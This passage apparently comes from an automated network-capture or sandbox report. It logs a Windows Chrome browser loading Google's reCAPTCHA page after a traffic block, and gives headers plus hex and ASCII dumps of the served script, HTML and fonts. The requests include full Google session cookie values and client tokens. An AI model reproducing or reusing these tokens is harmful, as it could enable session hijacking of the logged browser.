41 20 77 69 6c 6c 20 6c 65 74 20 79 6f 75 Data Ascii: sts coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly after those requests stop. In the meantime, solving the above CAPTCHA will let you

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49720	142.250.81.228	443	7832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:46:06 UTC	1123	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
2024-02-20 22:46:06 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Tue, 20 Feb 2024 22:46:06 GMT Date: Tue, 20 Feb 2024 22:46:06 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-02-20 22:46:06 UTC	724	IN	Data Raw: 34 63 36 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 4c6/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-02-20 22:46:06 UTC	505	IN	Data Raw: 6d 56 34 63 47 6c 79 65 53 49 36 4d 54 63 79 4e 54 51 77 4e 7a 6b 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 55 73 49 6d 6c 7a 56 47 68 70 63 6d 52 51 59 58 4a 30 65 53 49 36 64 48 4a 31 5a 58 30 3d 27 3b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 79 69 4e 57 33 52 39 6a 6b 79 4c 56 50 35 2d 45 45 5a 4c 44 7a 55 74 41 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 27 61 6e 6f 6e 79 6d 6f 75 73 27 3b 70 6f 2e 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 37 2b 49 52 4c 78 6b 6c 31 7a 36 71 72 2f Data Ascii: mV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/yiNW3R9jkyLVP5-EEZLDzUtA/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-7+IRLxkl1z6qr/
2024-02-20 22:46:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49723	142.250.81.228	443	7832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:46:08 UTC	1730	OUT	GET /recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA&size=normal&s=lWQi8XFYJHLFBSoU5SiD8DreLMbLqyaMWILUp5KCz1F35zWomRvT9ZsLyU2pNy3cJT6ktzRP5y17XcMG-do_3Wz9iewnxFuXO9-Rn8pvEh73KR_ICtSbe2Z6e_Ei5_nwQyOLl8qvlYvQk4daw9H_NvC1gU1QG5NpYFKB5attDgP678B_k9rlXBPBo2eoAqVFlZ1Em14eX_80yS-dPAqW96lMh_xfWdLzYUhZtjmAdlCguJrDRQwMm7Rczgjwz-ZdX4GSGDCvHFQ8Zn5X9oOgweVqfE-fbaY&cb=yulbx0ey1rif HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
2024-02-20 22:46:08 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 20 Feb 2024 22:46:08 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-87hE8ILMPb8ew5caAgNIcw' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-02-20 22:46:08 UTC	361	IN	Data Raw: 32 61 62 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b Data Ascii: 2ab4<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face {
2024-02-20 22:46:08 UTC	1252	IN	Data Raw: 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 Data Ascii: o/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//f
2024-02-20 22:46:08 UTC	1252	IN	Data Raw: 39 2c 20 55 2b 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 Data Ascii: 9, U+20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329,
2024-02-20 22:46:08 UTC	1252	IN	Data Raw: 30 2d 30 34 39 31 2c 20 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a Data Ascii: 0-0491, U+04B0-04B1, U+2116;}/* greek-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}
2024-02-20 22:46:08 UTC	1252	IN	Data Raw: 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c Data Ascii: */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA,
2024-02-20 22:46:08 UTC	1252	IN	Data Raw: 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b Data Ascii: l(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal;
2024-02-20 22:46:08 UTC	1252	IN	Data Raw: 20 55 2b 46 45 46 46 2c 20 55 2b 46 46 46 44 3b 0a 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 79 69 4e 57 33 52 39 6a 6b 79 4c 56 50 35 2d 45 45 5a 4c 44 7a 55 74 41 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 38 37 68 45 38 49 4c 4d 50 62 38 65 77 35 63 61 41 67 4e 49 63 77 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 Data Ascii: U+FEFF, U+FFFD;}</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/yiNW3R9jkyLVP5-EEZLDzUtA/styles__ltr.css"><script nonce="87hE8ILMPb8ew5caAgNIcw" type="text/javascript">window['__recaptcha_api'] = 'http
2024-02-20 22:46:08 UTC	1252	IN	Data Raw: 67 53 58 6d 73 70 4d 42 45 73 6e 43 32 34 4e 4e 30 34 34 78 47 38 74 6d 66 74 76 69 4a 6f 56 6b 32 57 61 65 53 48 6e 33 76 37 34 31 52 38 59 2d 7a 30 31 77 32 68 38 49 75 66 62 4d 76 51 78 32 48 6b 38 53 6e 5f 51 55 38 4f 71 69 34 2d 6b 75 32 57 4a 59 51 53 72 53 76 78 54 58 63 4e 57 6e 6e 77 36 45 4c 54 5a 47 62 4d 38 49 59 50 4c 59 6d 79 65 65 6e 47 44 42 6e 4d 63 70 4e 6a 2d 7a 76 30 4f 42 51 30 59 76 30 6c 49 31 39 4c 4d 75 5f 5f 5a 44 32 50 34 50 39 5a 6b 67 76 73 4c 46 30 49 6b 49 65 4c 57 4d 38 75 70 50 32 49 55 35 4c 64 4e 6e 71 73 74 63 72 43 31 75 54 33 56 78 51 53 43 41 70 2d 6d 38 41 35 57 70 32 79 76 46 63 67 57 47 76 44 61 52 52 44 6c 50 5f 4e 66 4d 31 6e 6c 77 64 32 72 72 37 78 2d 39 5a 73 69 6f 57 63 53 4f 47 62 49 4e 47 54 77 55 79 78 30 Data Ascii: gSXmspMBEsnC24NN044xG8tmftviJoVk2WaeSHn3v741R8Y-z01w2h8IufbMvQx2Hk8Sn_QU8Oqi4-ku2WJYQSrSvxTXcNWnnw6ELTZGbM8IYPLYmyeenGDBnMcpNj-zv0OBQ0Yv0lI19LMu__ZD2P4P9ZkgvsLF0IkIeLWM8upP2IU5LdNnqstcrC1uT3VxQSCAp-m8A5Wp2yvFcgWGvDaRRDlP_NfM1nlwd2rr7x-9ZsioWcSOGbINGTwUyx0
2024-02-20 22:46:08 UTC	1252	IN	Data Raw: 4b 6d 6e 31 6f 34 51 58 7a 5f 32 49 33 56 68 52 78 48 35 47 6d 4f 54 7a 7a 55 50 5f 47 35 56 50 55 67 54 59 62 31 5f 31 31 38 33 42 4f 36 35 58 31 36 67 4d 71 77 4e 49 33 76 2d 72 78 63 52 37 79 34 50 4d 44 33 72 50 57 34 79 62 38 6a 53 33 50 69 49 4b 69 46 79 55 53 74 58 4b 4c 65 32 31 47 77 56 55 58 61 2d 53 64 54 63 58 6f 73 64 69 66 33 4b 6e 50 38 35 31 59 41 77 49 56 4a 74 61 52 33 4a 52 68 74 75 79 43 45 66 69 74 70 69 43 43 6a 36 34 6c 35 75 53 51 79 4c 66 50 7a 70 58 32 78 78 45 54 69 56 43 6c 72 37 66 32 49 4b 50 70 61 33 61 49 78 38 34 71 77 5a 35 6b 33 6c 77 76 49 55 57 74 4c 36 70 66 47 56 74 6d 41 4b 31 58 67 64 44 41 52 77 32 41 37 49 4a 33 5a 32 43 72 6e 35 39 38 6d 42 45 5a 48 34 53 42 2d 77 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d Data Ascii: Kmn1o4QXz_2I3VhRxH5GmOTzzUP_G5VPUgTYb1_1183BO65X16gMqwNI3v-rxcR7y4PMD3rPW4yb8jS3PiIKiFyUStXKLe21GwVUXa-SdTcXosdif3KnP851YAwIVJtaR3JRhtuyCEfitpiCCj64l5uSQyLfPzpX2xxETiVClr7f2IKPpa3aIx84qwZ5k3lwvIUWtL6pfGVtmAK1XgdDARw2A7IJ3Z2Crn598mBEZH4SB-w"><script type=
2024-02-20 22:46:08 UTC	563	IN	Data Raw: 4c 4e 47 35 52 65 45 52 74 62 47 46 71 61 6b 30 30 51 7a 46 53 61 6a 49 79 54 44 4d 35 62 58 70 4a 61 32 6f 78 63 32 52 61 4f 56 42 49 51 6e 46 6e 5a 6e 4e 78 56 6d 78 4c 4d 6b 52 36 4e 6b 46 78 4f 58 64 71 5a 30 5a 52 62 57 78 4a 4b 32 6c 6a 62 32 4e 68 54 45 68 72 5a 6d 46 6a 63 48 70 44 62 56 6c 59 56 55 46 45 4d 45 39 49 61 6c 46 4c 62 55 31 76 63 6d 4a 68 57 45 49 35 4e 6a 6c 42 64 30 6f 77 5a 47 35 45 4b 31 68 59 56 54 46 61 51 6c 64 58 4c 30 56 73 61 47 35 51 61 46 4e 6f 5a 6b 4a 6a 63 53 39 7a 56 45 6c 4d 65 56 4a 30 52 6d 31 6f 52 6a 4a 79 54 7a 56 55 62 6d 6c 30 4d 32 4e 4c 55 58 68 34 4e 6e 64 6f 59 56 52 6b 65 6a 64 58 62 30 46 53 5a 57 74 6d 4c 7a 5a 59 65 48 6c 4f 4d 47 5a 50 61 46 6c 61 61 46 4e 4e 62 6d 6c 32 4f 58 4e 71 4f 58 4e 50 53 48 Data Ascii: LNG5ReERtbGFqak00QzFSajIyTDM5bXpJa2oxc2RaOVBIQnFnZnNxVmxLMkR6NkFxOXdqZ0ZRbWxJK2ljb2NhTEhrZmFjcHpDbVlYVUFEME9IalFLbU1vcmJhWEI5NjlBd0owZG5EK1hYVTFaQldXL0VsaG5QaFNoZkJjcS9zVElMeVJ0Rm1oRjJyTzVUbml0M2NLUXh4NndoYVRkejdXb0FSZWtmLzZYeHlOMGZPaFlaaFNNbml2OXNqOXNPSH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49728	142.250.81.228	443	7832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:46:09 UTC	1445	OUT	GET /js/bg/zyvIRxypJp9XsXP7bFrUBd8JY_zCSu2ya-bkldlMTk8.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA&size=normal&s=lWQi8XFYJHLFBSoU5SiD8DreLMbLqyaMWILUp5KCz1F35zWomRvT9ZsLyU2pNy3cJT6ktzRP5y17XcMG-do_3Wz9iewnxFuXO9-Rn8pvEh73KR_ICtSbe2Z6e_Ei5_nwQyOLl8qvlYvQk4daw9H_NvC1gU1QG5NpYFKB5attDgP678B_k9rlXBPBo2eoAqVFlZ1Em14eX_80yS-dPAqW96lMh_xfWdLzYUhZtjmAdlCguJrDRQwMm7Rczgjwz-ZdX4GSGDCvHFQ8Zn5X9oOgweVqfE-fbaY&cb=yulbx0ey1rif Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
2024-02-20 22:46:09 UTC	812	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 17265 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sun, 18 Feb 2024 03:56:51 GMT Expires: Mon, 17 Feb 2025 03:56:51 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 05 Feb 2024 17:30:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 240558 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
